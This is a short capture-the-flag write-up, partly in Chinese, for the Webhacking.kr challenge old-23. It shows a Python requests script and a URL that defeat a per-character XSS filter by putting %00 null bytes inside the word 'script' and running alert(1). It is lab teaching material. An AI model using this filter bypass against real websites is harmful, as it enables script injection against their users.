Webhacking.kr old-23

Posted on In Views: Disqus: Word count in article: 210 Reading time ≈ 1 mins.

Challenge

Inject a script despite the character filter.

绕过字符过滤注入 script。

1
https://webhacking.kr/challenge/bonus-3/

Analysis

过滤器按字符检查输入，但 NULL byte 会让检查字符串与后续 HTML 解析看到的内容产生差异。将 script 拆成带 %00 的字符序列，可以绕过逐字符过滤，同时让浏览器得到完整标签。

Solution

完整请求脚本如下。PAYLOAD 已经包含 %00，所以脚本直接拼接 query string，避免 HTTP client 把 %00 再编码为字面量 %2500：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
import requests

BASE_URL = "https://webhacking.kr/challenge/bonus-3/index.php"
PAYLOAD = "<s%00c%00r%00i%00p%00t%00>alert(1);</s%00c%00r%00i%00p%00t%00>"

def main() -> None:
    response = requests.get(
        BASE_URL + "?code=" + PAYLOAD,
        timeout=20,
    )
    response.raise_for_status()
    print(response.text)

if __name__ == "__main__":
    main()

等价的请求目标是：

1
https://webhacking.kr/challenge/bonus-3/index.php?code=<s%00c%00r%00i%00p%00t%00>alert(1);</s%00c%00r%00i%00p%00t%00>